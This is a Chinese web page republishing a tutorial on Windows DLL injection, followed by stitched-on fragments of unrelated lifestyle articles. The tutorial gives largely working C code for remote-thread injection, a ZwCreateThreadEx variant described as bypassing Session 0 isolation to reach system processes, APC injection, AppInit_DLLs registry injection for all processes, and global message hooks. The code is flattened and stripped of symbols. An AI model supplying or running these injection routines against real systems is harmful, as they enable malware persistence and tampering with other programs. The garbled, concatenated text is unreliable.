专栏电商日志财经减肥爱情
投稿投诉
爱情常识
搭配分娩
减肥两性
孕期塑形
财经教案
论文美文
日志体育
养生学堂
电商科学
头戴业界
专栏星座
用品音乐

DLL劫持目标应用软件实现注入

  原理:
  DLL注入技术,一般来讲是向一个正在运行的进程插入注入代码的过程。我们注入的代码以动态链接库(DLL)的形式存在。
  dll注入即是让程序A强行加载程序B给定的a。dll,并执行程序B给定的a。dll里面的代码。注意,程序B所给定的a。dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A加载a。dll后,程序A将会执行a。dll里的代码,此时,a。dll就进入了程序A的地址空间,而a。dll模块的程序逻辑由程序B的开发者设计,因此程序B的开发者可以对程序A为所欲为。
  实现:
  加载Dll的API就是LoadLibrary,它的参数是保存要加载的DLL的路径的地址。所以DLL注入的核心就是把要注入的DLL的路径写到目标进程中,然后在目标进程中调用LoadLibrary函数,并且指定参数为保存了DLL路径的地址。
  LoadLibrary函数HMODULEWINAPILoadLibrary(inLPCTSTRlpFileName);
  这个函数同样也只需要一个参数,这个参数是一个地址,而这个地址中保存的是我们要加载的DLL的名称的字符串
  跟exe有个main或者WinMain入口函数一样,DLL也有一个入口函数,就是DllMain。当使用LoadLibrary函数加载DLL时,系统会调用DLL的入口点函数
  dllmain。cpp:定义DLL应用程序的入口点。includepch。hBOOLAPIENTRYDllMain(HMODULEhModule,DWORDulreasonforcall,LPVOIDlpReserved){switch(ulreasonforcall){caseDLLPROCESSATTACH:caseDLLTHREADATTACH:caseDLLTHREADDETACH:caseDLLPROCESSDETACH:break;}returnTRUE;}
  会有如下文件,当DLL的状态发生变化的时候,就会调用DllMain函数。而传递的ulreasonforcall这个参数代表了4种不同的状态变化的情况,我们就可以根据这四种不同的状态根据需要来写出相应的代码,就会让注入的DLL执行我们需要的功能
  ulreasonforcall的值
  代表的状态
  DLLPROCESSATTACH
  Dll刚刚映射到进程空间中
  DLLTHREADATTACH
  进程中有新线程创建
  DLLTHREADDETACH
  进程中有新线程销毁
  DLLPROCESSDETACH
  Dll从进程空间中接触映射
  代码框架:includecstdioincludeWindows。hincludeTlHelp32。hdefinePROCESSNAMETaskmgr。exe要注入的进程名,这个是任务管理器的进程名defineDLLNAMEInjectDll。dll要注入的DLL的名称BOOLInjectDll(DWORDdwPid,CHARszDllName〔〕);注入DLLDWORDGetPID(PCHARpProName);根据进程名获取PIDVOIDShowError(PCHARmsg);打印错误信息BOOLEnbalePrivileges(HANDLEhProcess,charpszPrivilegesName);提升进程权限intmain(){CHARszDllPath〔MAXPATH〕{0};保存要注入的DLL的路径DWORDdwPID0;保存要注入的进程的PID提升当前进程令牌权限if(!EnbalePrivileges(GetCurrentProcess(),SEDEBUGNAME)){printf(权限提升失败);}dwPIDGetPID(PROCESSNAME);if(dwPID0){printf(没有找到要注入的进程);gotoexit;}GetCurrentDirectory(MAXPATH,szDllPath);获取程序的目录strcat(szDllPath,);strcat(szDllPath,DLLNAME);与DLL名字拼接得到DLL的完整路径printf(要注入的进程名:sPID:d,PROCESSNAME,dwPID);printf(要注入的DLL的完整路径s,szDllPath);if(InjectDll(dwPID,szDllPath)){printf(Dll注入成功);}exit:system(pause);return0;}BOOLInjectDll(DWORDdwPid,CHARszDllName〔〕){BOOLbRetTRUE;returnbRet;}DWORDGetPID(PCHARpProName){PROCESSENTRY32pe32{0};HANDLEhSnapCreateToolhelp32Snapshot(TH32CSSNAPPROCESS,0);BOOLbRetFALSE;DWORDdwPID0;if(hSnapINVALIDHANDLEVALUE){printf(CreateToolhelp32Snapshotprocessd,GetLastError());gotoexit;}pe32。dwSizesizeof(pe32);bRetProcess32First(hSnap,pe32);while(bRet){if(lstrcmp(pe32。szExeFile,pProName)0){dwPIDpe32。th32ProcessID;break;}bRetProcess32Next(hSnap,pe32);}CloseHandle(hSnap);exit:returndwPID;}VOIDShowError(PCHARmsg){printf(sErrord,msg,GetLastError());}BOOLEnbalePrivileges(HANDLEhProcess,charpszPrivilegesName){HANDLEhTokenNULL;LUIDluidValue{0};TOKENPRIVILEGEStokenPrivileges{0};BOOLbRetFALSE;DWORDdwRet0;打开进程令牌并获取具有TOKENADJUSTPRIVILEGES权限的进程令牌句柄if(!OpenProcessToken(hProcess,TOKENADJUSTPRIVILEGES,hToken)){ShowError(OpenProcessToken);gotoexit;}获取本地系统的pszPrivilegesName特权的LUID值if(!LookupPrivilegeValue(NULL,pszPrivilegesName,luidValue)){ShowError(LookupPrivilegeValue);gotoexit;}设置提升权限信息tokenPrivileges。PrivilegeCount1;tokenPrivileges。Privileges〔0〕。LuidluidValue;tokenPrivileges。Privileges〔0〕。AttributesSEPRIVILEGEENABLED;提升进程令牌访问权限if(!AdjustTokenPrivileges(hToken,FALSE,tokenPrivileges,0,NULL,NULL)){ShowError(AdjustTokenPrivileges);gotoexit;}else{根据错误码判断是否特权都设置成功dwRet::GetLastError();if(ERRORSUCCESSdwRet){bRetTRUE;gotoexit;}elseif(ERRORNOTALLASSIGNEDdwRet){ShowError(ERRORNOTALLASSIGNED);gotoexit;}}exit:returnbRet;}
  远程线程注入:
  远程线程注入简单的说,就是调用CreateRemoteThread(),在其他的进程中创建一条线程,执行LoadLibrary(),将特定的DLL加载到进程中间。
  由于我们不能轻易的控制别人进程中的线程,因此这种方法要求我们在目标进程中创建一个线程并在线程中执行LoadLibrary函数加载我们要注入的dll。幸运的是Windows为我们提供了CreateRemoteThread函数,它使得在另一个进程中创建一个线程变得非常容易。
  HANDLEWINAPICreateRemoteThread(InHANDLEhProcess,要创建线程的进程句柄InLPSECURITYATTRIBUTESlpThreadAttributes,新线程的安全描述符InSIZETdwStackSize,堆栈起始大小,为0表示默认大小InLPTHREADSTARTROUTINElpStartAddress,表示要运行线程的起始地址InLPVOIDlpParameter,保存要传递给线程参数的地址InDWORDdwCreationFlags,控制线程创建的标志,为0表示创建后立即执行OutLPDWORDlpThreadId指向接收线程标识符变量的指针。为NULL表示不返回线程标识符);
  hProcess用来指定在哪个进程中创建新线程lpStartAddress用来指定将进程中的哪个地址开始作为新线程运行的起始地址lpParameter保存的也是一个地址,这个地址中保存的就是新线程要用到的参数
  只要我们可以获取新进程中的LoadLibrary函数的地址以及包含有要加载的DLL的字符串的地址就可以通过CreateRemoteThread函数来成功开起一个线程执行LoadLibrary函数来加载我们的DLL。
  那么现在的问题就是如何获得LoadLibrary函数的地址以及保存有要加载的DLL路径的字符串的地址。
  对于LoadLibrary函数,由于它是在常用的系统DLL,也就是KERNEL32。dll中,所以这个DLL是可以按照它的ImageBase成功装载到每个进程的空间中。这样的话Kernel32。dll在每个进程中的起始地址是一样的,那么LoadLibrary函数的地址也就会一样。那么我们就可以在本进程中查找LoadLibrary函数的地址,并且完全可以相信,在要注入DLL的进程中LoadLibrary的地址也是这个。
  对于LoadLibrary函数,由于它是在常用的系统DLL,也就是KERNEL32。dll中,所以这个DLL是可以按照它的ImageBase成功装载到每个进程的空间中。这样的话Kernel32。dll在每个进程中的起始地址是一样的,那么LoadLibrary函数的地址也就会一样。那么我们就可以在本进程中查找LoadLibrary函数的地址,并且完全可以相信,在要注入DLL的进程中LoadLibrary的地址也是这个。
  至于DLL名称的字符串,我们可以通过在进程中申请一块可以将DLL完整路径写入的内存,并在这个内存中将DLL的完整路径写入,将写入到注入进程DLL完整路径的内存地址作为参数就可以实现进程的注入
  注意:在开始注入前,还需要确认一件事,就是目标进程使用的字符编码方式。因为我们所调用的LoadLibrary函数在底层实际调用有两种可能:
  如果目标程序使用的是ANSI编码方式,LoadLibrary实际调用的是LoadLibraryA,其参数字符串应当是ANSI编码;
  如果目标程序使用的是Unicode编码方式,LoadLibrary实际调用的是LoadLibraryW,其参数字符串应当是Unicode编码。
  这使得注入过程变得很麻烦,为了减少复杂性,不妨直接使用LoadLibraryA或LoadLibraryW而不是用LoadLibrary函数来避免这一麻烦。另外,即使使用的是LoadLibraryA,LoadLibraryA也会将传入的ANSI编码的字符串参数转换成Unicode编码后再调用LoadLibraryW。综上,不妨一致使用LoadLibraryW函数,并且字符串用Unicode编码即可。
  最后,我们可能会为获得目标进程中LoadLibraryW函数的起始地址而头疼,但其实这个问题也很简单,因为目标进程中函数LoadLibraryW的起始地址和我们的进程中的LoadLibraryW函数的起始地址是一样的。因此我们只需要用GetProcAddress即可获得LoadLibraryW函数的起始地址。
  步骤:
  (1)。用VirtualAllocEx函数在目标进程的地址空间中分配一块足够大的内存用于保存被注入的dll的路径。
  (2)。用WriteProcessMemory函数把本进程中保存dll路径的内存中的数据拷贝到第(1)步得到的目标进程的内存中。
  (3)。用GetProcAddress函数获得LoadLibraryW函数的起始地址。LoadLibraryW函数位于Kernel32。dll中。
  (4)。用CreateRemoteThread函数让目标进程执行LoadLibraryW来加载被注入的dll。函数结束将返回载入dll后的模块句柄。
  (5)。用VirtualFreeEx释放第(1)步开辟的内存。
  在需要卸载dll时我们可以在上述第(5)步的基础上继续执行以下步骤:
  (6)。用GetProcAddress函数获得FreeLibrary函数的起始地址。FreeLibrary函数位于Kernel32。dll中。
  (7)。用CreateRemoteThread函数让目标进程执行FreeLibrary来卸载被注入的dll。(其参数是第(4)步返回的模块句柄)。BOOLInjectDll(DWORDdwPid,CHARszDllName〔〕){BOOLbRetTRUE;HANDLEhProcessNULL,hRemoteThreadNULL;HMODULEhKernel32NULL;DWORDdwSize0;LPVOIDpDllPathAddrNULL;PVOIDpLoadLibraryAddrNULL;打开注入进程,获取进程句柄hProcessOpenProcess(PROCESSALLACCESS,FALSE,dwPid);if(NULLhProcess){ShowError(OpenProcess);bRetFALSE;gotoexit;}在注入进程中申请可以容纳DLL完成路径名的内存空间dwSize1strlen(szDllName);pDllPathAddrVirtualAllocEx(hProcess,NULL,dwSize,MEMCOMMIT,PAGEREADWRITE);if(!pDllPathAddr){ShowError(VirtualAllocEx);bRetFALSE;gotoexit;}把DLL完整路径名写入进程中if(!WriteProcessMemory(hProcess,pDllPathAddr,szDllName,dwSize,NULL)){ShowError(WriteProcessMemory);bRetFALSE;gotoexit;}hKernel32LoadLibrary(kernel32。dll);if(hKernel32NULL){ShowError(LoadLibrary);bRetFALSE;gotoexit;}获取LoadLibraryA函数地址pLoadLibraryAddrGetProcAddress(hKernel32,LoadLibraryA);if(pLoadLibraryAddrNULL){ShowError(GetProcAddress);bRetFALSE;gotoexit;}创建远程线程进行DLL注入hRemoteThreadCreateRemoteThread(hProcess,NULL,0,(LPTHREADSTARTROUTINE)pLoadLibraryAddr,pDllPathAddr,0,NULL);if(hRemoteThreadNULL){ShowError(CreateRemoteThread);bRetFALSE;gotoexit;}exit:if(hKernel32)FreeLibrary(hKernel32);if(hProcess)CloseHandle(hProcess);if(hRemoteThread)CloseHandle(hRemoteThread);returnbRet;}
  补充:
  上面的方法虽然可以方便的注入DLL。但是在WIN7,WIN10系统上,会由于SESSION0隔离机制从而导致只能成功注入普通的用户进程,如果注入系统进程就会导致失败。而经过逆向分析发现,使用Kernel32。dll中的CreateRemoteThread进行注入的时候,程序会走到ntdll。dll中的ZwCreateThreadEx函数进行执行。这是一个未导出的函数,所以需要手动获取函数地址来进行调用,相比于CreateRemoteThread更加底层。这个函数在64位和32位系统中的函数声明也不相同,在64位中的声明如下typedefDWORD(WINAPIpFnZwCreateThreadEx)(PHANDLEThreadHandle,ACCESSMASKDesiredAccess,LPVOIDObjectAttributes,HANDLEProcessHandle,LPTHREADSTARTROUTINElpStartAddress,LPVOIDlpParameter,ULONGCreateThreadFlags,SIZETZeroBits,SIZETStackSize,SIZETMaximumStackSize,LPVOIDpUnkown);
  它会导致线程创建的时候就被挂起,随后查看要运行的进程所在的会话层之后再决定是否要恢复线程的运行。所以要破解这种情况只需要将第7个参数设为0就可以,相应代码如下typedefDWORD(WINAPIpFnZwCreateThreadEx)(PHANDLE,ACCESSMASK,LPVOID,HANDLE,LPTHREADSTARTROUTINE,LPVOID,BOOL,DWORD,DWORD,DWORD,LPVOID);BOOLInjectDll(DWORDdwPid,CHARszDllName〔〕){BOOLbRetTRUE;HANDLEhProcessNULL,hRemoteThreadNULL;HMODULEhKernel32NULL,hNtDllNULL;DWORDdwSize0;LPVOIDpDllPathAddrNULL;PVOIDpLoadLibraryAddrNULL;pFnZwCreateThreadExZwCreateThreadExNULL;打开注入进程,获取进程句柄hProcess::OpenProcess(PROCESSALLACCESS,FALSE,dwPid);if(NULLhProcess){ShowError(OpenProcess);bRetFALSE;gotoexit;}在注入进程中申请可以容纳DLL完成路径名的内存空间dwSize1strlen(szDllName);pDllPathAddrVirtualAllocEx(hProcess,NULL,dwSize,MEMCOMMIT,PAGEREADWRITE);if(!pDllPathAddr){ShowError(VirtualAllocEx);bRetFALSE;gotoexit;}把DLL完成路径名写入进程中if(!WriteProcessMemory(hProcess,pDllPathAddr,szDllName,dwSize,NULL)){ShowError(WriteProcessMemory);bRetFALSE;gotoexit;}hKernel32LoadLibrary(kernel32。dll);if(hKernel32NULL){ShowError(LoadLibrarykernel32);bRetFALSE;gotoexit;}获取LoadLibraryA函数地址pLoadLibraryAddrGetProcAddress(hKernel32,LoadLibraryA);if(pLoadLibraryAddrNULL){ShowError(GetProcAddressLoadLibraryA);bRetFALSE;gotoexit;}hNtDllLoadLibrary(ntdll。dll);if(hNtDllNULL){ShowError(LoadLibraryntdll);bRetFALSE;gotoexit;}ZwCreateThreadEx(pFnZwCreateThreadEx)GetProcAddress(hNtDll,ZwCreateThreadEx);if(!ZwCreateThreadEx){ShowError(GetProcAddressZwCreateThreadEx);bRetFALSE;gotoexit;}ZwCreateThreadEx(hRemoteThread,PROCESSALLACCESS,NULL,hProcess,(LPTHREADSTARTROUTINE)pLoadLibraryAddr,pDllPathAddr,0,0,0,0,NULL);if(hRemoteThreadNULL){ShowError(ZwCreateThreadEx);bRetFALSE;gotoexit;}exit:if(hKernel32)FreeLibrary(hKernel32);if(hNtDll)FreeLibrary(hNtDll);if(hProcess)CloseHandle(hProcess);if(hRemoteThread)CloseHandle(hRemoteThread);returnbRet;}APC注入:
  APC是一个简称,具体名字叫做异步过程调用,我们看下MSDN中的解释,异步过程调用,属于是同步对象中的函数,所以去同步对象中查看。
  异步函数调用的原理:
  异步过程调用是一种能在特定线程环境中异步执行的系统机制。异步执行:
  A。所有异步程序的执行,都会在同步程序之后在执行
  B。异步程序自己之间的执行顺序,如果时间是相同的,那么就是按代码的先后顺序执行,否则是时间短的会先执行。
  1,从一行代码开始执行程序
  2,同步程序正常执行
  3,如果发现是异步程序,暂时不执行,存储在异步池中,等待执行
  4,将程序中所有的同步程序执行完毕后
  5,开启异步池,执行异步程序,当设定的时间到达,就会执行对应的异步升序
  先到设定时间的异步程序先执行,如果设定的时间相同,看异步程序的顺序,来执行
  回调函数:
  函数也可以作为函数的参数来传递
  你到一个商店买东西,刚好你要的东西没有货,于是你在店员那里留下了你的电话,过了几天店里有货了,店员就打了你的电话,然后你接到电话后就到店里去取了货。
  在这个例子里,你的电话号码就叫回调函数,你把电话留给店员就叫登记回调函数,店里后来有货了叫做触发回调事件,店员给你打电话叫做调用回调函数,你到店里去取货叫做响应回调事件。程序的APC
  往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC
  那么使用APC场合的注入就有了,
  1。必须是多线程环境下
  2。注入的程序必须会调用上面的那些同步对象。
  那么我们可以注入APC,注意下条件,也不是所有都能注入的。注入方法的原理:
  1。当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断
  2。当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数
  3。我们利用QueueUserApc,往这个队列中插入一个回调
  4。插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去
  使用方法:
  1。利用快照枚举所有的线程
  2。写入远程内存,写入的是Dll的路径
  3。插入我们的DLL即可
  要往APC队列中增加APC函数,需要通过QueueUserAPC函数来实现,这个函数在文档中的定义如下DWORDWINAPIQueueUserAPC(inPAPCFUNCpfnAPC,当满足条件时,要执行的APC函数的地址inHANDLEhThread,指定增加APC函数的线程句柄inULONGPTRdwData);要执行的APC函数参数地址
  可以看到pfnAPC和dwData这两个参数和CreateRemoteThread中的lpStartAddress和lpParameter的作用是一样的。不过这里是对线程进行操作,一个进程有多个线程。所以为了确保程序正确运行,所以需要遍历所有线程,查看是否是要注入的进程的线程,依次获得句柄插入APC函数。具体代码如下BOOLInjectDll(DWORDdwPid,CHARszDllName〔〕){BOOLbRetTRUE;HANDLEhProcessNULL,hThreadNULL,hSnapNULL;HMODULEhKernel32NULL;DWORDdwSize0;PVOIDpDllPathAddrNULL;PVOIDpLoadLibraryAddrNULL;THREADENTRY32te32{0};打开注入进程,获取进程句柄hProcessOpenProcess(PROCESSALLACCESS,FALSE,dwPid);if(NULLhProcess){ShowError(OpenProcess);bRetFALSE;gotoexit;}在注入进程中申请可以容纳DLL完成路径名的内存空间dwSize1strlen(szDllName);pDllPathAddrVirtualAllocEx(hProcess,NULL,dwSize,MEMCOMMIT,PAGEREADWRITE);if(!pDllPathAddr){ShowError(VirtualAllocEx);bRetFALSE;gotoexit;}把DLL完成路径名写入进程中if(!WriteProcessMemory(hProcess,pDllPathAddr,szDllName,dwSize,NULL)){ShowError(WriteProcessMemory);bRetFALSE;gotoexit;}hKernel32LoadLibrary(kernel32。dll);if(hKernel32NULL){ShowError(LoadLibrary);bRetFALSE;gotoexit;}获取LoadLibraryA函数地址pLoadLibraryAddrGetProcAddress(hKernel32,LoadLibraryA);if(pLoadLibraryAddrNULL){ShowError(GetProcAddress);bRetFALSE;gotoexit;}获得线程快照hSnapCreateToolhelp32Snapshot(TH32CSSNAPTHREAD,0);if(!hSnap){ShowError(CreateToolhelp32Snapshot);bRetFALSE;gotoexit;}遍历线程te32。dwSizesizeof(te32);if(Thread32First(hSnap,te32)){do{这个线程的进程ID是不是要注入的进程的PIDif(te32。th32OwnerProcessIDdwPid){hThreadOpenThread(THREADALLACCESS,FALSE,te32。th32ThreadID);if(hThread){QueueUserAPC((PAPCFUNC)pLoadLibraryAddr,hThread,(ULONGPTR)pDllPathAddr);CloseHandle(hThread);hThreadNULL;}else{ShowError(OpenThread);bRetFALSE;gotoexit;}}}while(Thread32Next(hSnap,te32));}exit:if(hKernel32)FreeLibrary(hKernel32);if(hProcess)CloseHandle(hProcess);if(hThread)CloseHandle(hThread);returnbRet;}注册表注入:
  什么是注册表
  注册表是windows操作系统、硬件设备以及客户应用程序得以正常运行和保存设置的核心数据库,也可以说是一个非常巨大的树状分层结构的数据库系统。注入原理:
  在cmd输入regedit打开注册表。定位HKEYLOCALMACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWindows项
  是一种比较简单的注入,主要依赖于俩个表项,AppInitDlls和LoadAppInitDLLs。AppInitDlls写入dll完整路径,LoadAppInitDLLs写为1,重启后,指定DLL会注入到所有运行进程。
  AppInitDLLs键的值可以是一个dll的文件名或一组dll的文件名(通过逗号或空格来分隔),由于空格是用来分隔文件名的,因此dll文件名不能含有空格。第一个dll的文件名可以包含路径,但其他的dll包含的路径将被忽略。
  LoadAppInitDLLs键的值表示AppInitDLLs键是否有效,为了让AppInitDLLs键的值有效,需要将LoadAppInitDLLs的值设置为1。
  这两个键值设定后,当应用程序启动并加载User32。dll时,会获得上述注册表键的值,并调用LoadLibrary来调用这些字符串中指定的每一个dll。这时每个被载入的dll可以完成相应的初始化工作。但是需要注意的是,由于被注入的dll是在进程生命期的早期被载入的,因此这些dll在调用函数时应慎重。调用Kernel32。dll中的函数应该没有问题,因为Kernel32。dll是在User32。dll载入前已被加载。但是调用其他的dll中的函数时应当注意,因为进程可能还未载入相应的dll,严重时可能会导致蓝屏。
  这种方法很简单,只需要在注册表中修改两个键的值即可,但是有如下缺点:
  1。只有调用了User32。dll的进程才会发生这种dll注入。也就是说某些CUI程序(控制台应用程序)可能无法完成dll注入,比如将dll注入到编译器或链接器中是不可行的。
  2。该方法会使得所有的调用了User32。dll的程序都被注入指定的dll,如果你仅仅想对某些程序注入dll,这样很多进程将成为无辜的被注入着,并且其他程序你可能并不了解,盲目的注入会使得其他程序发生崩溃的可能性增大。
  3。这种注入会使得在应用程序的整个生命周期内被注入的dll都不会被卸载。注入dll的原则是值在需要的时间才注入我们的dll,并在不需要时及时卸载。注入流程
  第一步:打开注册表键值如下:
  HKEYLOCALMACHINESoftWareMicroSoftWindowsNTCurrentVersionWindows
  第二步:修改AppInitDlls
  在该键值中添加自己的DLL的全路径加dll名,多个DLL以逗号或者空格分开(因此在文件名中应该尽量不要存在空格),该键值只有第一个dll文件名可以包含路径,后面的都不能包含,因此我们最好将dll放在系统路径下,这样就可以不用包含路径也能被加载了。
  第三步:修改LoadAppInitDLLs
  在该注册表项中添加键值LoadAppInitDLLs,类型为DWORD,并将其值置为1。
  代码实现BOOLInjectDll(DWORDdwPid,CHARszDllName〔〕){BOOLbRetTRUE;HKEYhKeyNULL;CHARszAppKeyName〔〕{AppInitDLLs};CHARszLoadAppKeyName〔〕{LoadAppInitDLLs};DWORDdwLoadAppInit1;设置LoadAppInitDLLs的值打开相应注册表键if(RegOpenKeyEx(HKEYLOCALMACHINE,SoftwareMicrosoftWindowsNTCurrentVersionWindows,0,KEYALLACCESS,hKey)!ERRORSUCCESS){ShowError(RegOpenKeyEx);bRetFALSE;gotoexit;}设置AppInitDLLs为相应的DLL路径if(RegSetValueEx(hKey,szAppKeyName,0,REGSZ,(PBYTE)szDllName,strlen(szDllName)1)!ERRORSUCCESS){ShowError(RegSetValueEx);bRetFALSE;gotoexit;}将LoadAppInitDLLs的值设为1if(RegSetValueEx(hKey,szLoadAppKeyName,0,REGDWORD,(PBYTE)dwLoadAppInit,sizeof(dwLoadAppInit))!ERRORSUCCESS){ShowError(RegSetValueEx);bRetFALSE;gotoexit;}exit:returnbRet;}全局钩子注入:
  Windows系统中的大多数应用都是基于消息机制的,也就是说它们都有一个消息过程函数,可以根据收到的不同消息来执行不同的代码。基于这种消息机制,Windows维护了一个OSmessagequeue以及为每个程序维护着一个applicationmessagequeue。当发生各种事件的时候,比如敲击键盘,点击鼠标等等,操作系统会从OSmessagequeue将消息取出给到相应的程序的applicationmessagequeue。
  而OSmessagequeue和applicationmessagequeue的中间有一个称为钩链的结果如下
  在这个钩链中保存的就是设置的各种钩子函数,而这些钩子函数会比应用程序还早接收到消息并对消息进行处理。所以程序员可以通过在钩子中设置钩子函数,而要设置钩子函数就需要使用SetWindowHookEx来将钩子函数安装到钩链中,函数在文档中的定义如下
  HHOOKSetWindowsHookEx(intidHook,HOOKPROClpfn,HINSTANCEhMod,DWORDdwThreadId);
  参数
  含义
  idHook
  要安装的钩子类型,为了挂全局钩子,这里选择WHGETMESSAGE。表示的是安装一个挂钩过程,它监视发送到消息队列的消息
  lpfn
  表示的是钩子的回调函数。如果dwThreadId为0,则lpfn指向的钩子过程必须指向DLL中的钩子过程
  hMod
  包含由lpfn参数执行的钩子过程的DLL句柄
  dwThreadId
  与钩子过程关联的线程标识符,如果为0则表示与所有线程相关联。
  如果函数成功,则返回钩子过程的句柄,否则为NULL。
  根据上面的介绍可以得知,想要创建一个全局钩子,就必须在DLL文件中创建。这是因为进程的地址空间是独立的,发生对应事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在DLL中,则在对应事件发生时,系统会把这个DLL加载到发生事件的进程地址空间中,使它可以调用钩子函数进行处理。
  所以只要在系统中安装了全局钩子,那么只要进程接收到可以发出钩子的消息,全局钩子的DLL就会被系统自动或者强行加载到进程空间中,这就可以实现DLL注入。
  而这里之所以设置为WHGETMESSAGE,是因为这种类型的钩子会监视消息队列,又因为Windows系统是基于消息驱动的,所以所有的进程都会有自己的一个消息队列,都会加载WHGETMESSAGE类型的全局钩子。
  当idHook设置为WHGETMESSAGE的时候,回调函数lpfn的定义如下LRESULTCALLBACKGetMsgProc(intcode,WPARAMwParam,LPARAMlParam);
  参数
  含义
  code
  指定钩子过程是否必须处理该消息。如果代码是HCACTION,则钩子过程必须处理该消息。如果代码小于零,则钩子过程必须将消息传递给CallNextHookEx函数而无需进一步处理,并且应该返回CallNextHookEx返回的值
  wParam指定消息是否已从队列中删除。此参数可以是以下值之一。
  PMNOREMOVE:指定消息尚未从队列中删除
  PMREMOVE:指定消息已从队列中删除
  lParam
  指向包含消息详细信息的MSG结构体的指针
  当用户不需要再进行消息钩取时只需调用UnhookWindowsHookEx即可解除安装的消息钩子,函数的原型如下:BOOLWINAPIUnhookWindowsHookEx(InHHOOKhhk);
  hhk参数是之前调用SetWindowsHookEx函数返回的HHOOK变量。这个函数调用成功后会使被注入过dll的锁计数器递减1,当锁计数器减到0时系统会卸载被注入的dll。过程:
  1。调用SetWindowsHookEx设置钩子。
  2。在设置过程中。需要一个回调。所以我们填入一个回调。(个人tips:这个地方可以设置自写函数,自写功能)
  3。回调函数中调用CallNextHookEx函数。如果不调用。那么相当于我们设置了不反悔。程序可能出现问题。当然是按需返回。(个人tips:如果不调用,这里可能就打乱程序原有的后续代码逻辑)
  4。取消HOOK设置。(个人tips:降低性能,所以需要取消)
  注意:钩子函数应当放在一个dll中,并且在你的进程中LoadLibrary这个dll。然后再调用SetWindowsHookEx函数对相应类型的消息安装钩子。
  由于设置全局钩子的代码需要在DLL文件中完成,所以首先需要新建一个dll文件。
  phc。hincludeframework。hexternCdeclspec(dllexport)intSetGlobalHook();externCdeclspec(dllexport)LRESULTGetMsgProc(intcode,WPARAMwParam,LPARAMlParam);externCdeclspec(dllexport)BOOLUnsetGlobalHook();
  dllmain。cppdllmain。cpp:定义DLL应用程序的入口点。includepch。hHMODULEghDllModuleNULL;BOOLAPIENTRYDllMain(HMODULEhModule,DWORDulreasonforcall,LPVOIDlpReserved){switch(ulreasonforcall){caseDLLPROCESSATTACH:{ghDllModulehModule;break;}caseDLLTHREADATTACH:caseDLLTHREADDETACH:caseDLLPROCESSDETACH:break;}returnTRUE;}
  pch。cppincludepch。hincludewindows。hincludestdio。hexternHMODULEghDllModule;共享内存pragmadataseg(mydata)HHOOKghHookNULL;pragmadataseg()pragmacomment(linker,SECTION:mydata,RWS)钩子回调函数LRESULTGetMsgProc(intcode,WPARAMwParam,LPARAMlParam){return::CallNextHookEx(ghHook,code,wParam,lParam);}设置钩子BOOLSetGlobalHook(){ghHookSetWindowsHookEx(WHGETMESSAGE,(HOOKPROC)GetMsgProc,ghDllModule,0);if(NULLghHook){returnFALSE;}returnTRUE;}卸载钩子BOOLUnsetGlobalHook(){if(ghHook){UnhookWindowsHookEx(ghHook);}returnTRUE;}
  SetGlobalHook():设置全局钩子,WHGETMESSAGE为监视发送到消息队列的消息的钩子,第二个参数则为钩子的回调函数。
  GetMsgProc():钩子的回调函数,CallNextHookEx表示将当前钩子传递给下一个钩子,若返回值为0,表示中断钩子传递,对钩子进行拦截。
  UnsetGlobalHook():卸载钩子共
  享内存:由于全局钩子是以DLL形式加载到进程中,进程都是独立的,要将进程句柄传递给其他进程,可以使用共享内存突破进程独立性,使用SECTION:mydata,RWS设置为可读可写可共享的数据段。
  创建c空项目编译下面代码,将hookDll。dll放在生成的exe下,运行includewindows。hincludestdio。htypedefBOOL(PENHOOKSTART)();typedefBOOL(PENHOOKSTOP)();intmain(){加载dllHMODULEhDllLoadLibrary(L。hookDll。dll);if(NULLhDll){printf(LoadLibraryError〔d〕,::GetLastError());return1;}BOOLisHookFALSE;导出函数地址PENHOOKSTARTSetGlobalHook(PENHOOKSTART)GetProcAddress(hDll,SetGlobalHook);if(NULLSetGlobalHook){printf(SetGlobalHook:GetProcAddressError〔d〕,GetLastError());return2;}PENHOOKSTOPUnsetGlobalHook(PENHOOKSTOP)GetProcAddress(hDll,UnsetGlobalHook);if(NULLUnsetGlobalHook){printf(UnsetGlobalHook:GetProcAddressError〔d〕,GetLastError());return3;}isHookSetGlobalHook();if(isHook){printf(Hookisok!);}else{printf(Hookiserror〔d〕,GetLastError());}system(pause);UnsetGlobalHook();FreeLibrary(hDll);return0;}
  使用ProcessExplorer查看dll:
  被注入成功
  参考:
  https:bbs。pediy。comthread269910。htmmsgheaderh12
  https:www。cnblogs。comwf751620780p10730013。htmlautoid450

手机音质最高是什么档次?有两个因素,你们一定不能忽视看文章听音乐是种享受,想听什么留言告知(都是付费无损包)自从手机行业出现了一个名词音乐手机之后,想必很多人就开始逐渐开始有了用手机听歌的需求,然后当这个需求不断地扩散,那么势必会出家庭影院基础知识大乐透家庭影院基本知识首先,我们要先来简单认识一下家庭影院系统。家庭影院系统,英文,AVHomeTheater。家庭影院系统是要在家庭居住环境中搭建的一个接近影院效果的可欣赏电影享受音乐为何女生穿抹胸裙不怕会掉下来?你有过这个疑惑吗?不妨了解一下在电视上,我们经常看到那些女明星穿着漂亮的抹胸裙子参加节目,看起来端庄大方,吸引眼球。由于抹胸裙子没有肩带,可以展现出女子完美的肩带线条,让人看起来既优雅又有魅力,现在抹胸裙子也成兰蔻星光盛典蒋勤勤脸油浮肿,王紫璇黑眼圈严重,倪妮老气沉闷11月7日,兰蔻品牌为了双十一促销活动,也是花了大手笔,请了几十位明星降临直播间,堪称一场小型的时尚盛典活动了。活动开始前,明星们的工作室纷纷都发出了精修写真大片,但是在媒体镜头下嘴唇偏薄也可以拥有丰满的双唇,解锁这些唇形,让你的嘴唇更好看导语丰满嘟嘟唇近年来火遍亚洲,不少国人也开始追求这种丰满圆润的唇形。可众所周知,亚洲人的嘴唇普遍较薄,唇形起伏不大,因此拥有好看唇形的人少之又少。正常来说,最好看的嘴唇形状是唇中偏谁说,户外爬山不能穿裙子?流行就是个圈,今年流行带点土。露营从年初火到年中,徒步骑行陆冲等各种各样的都市潮流运动日渐成为当下流行的生活方式,年轻人将潮流带入到了户外运动场景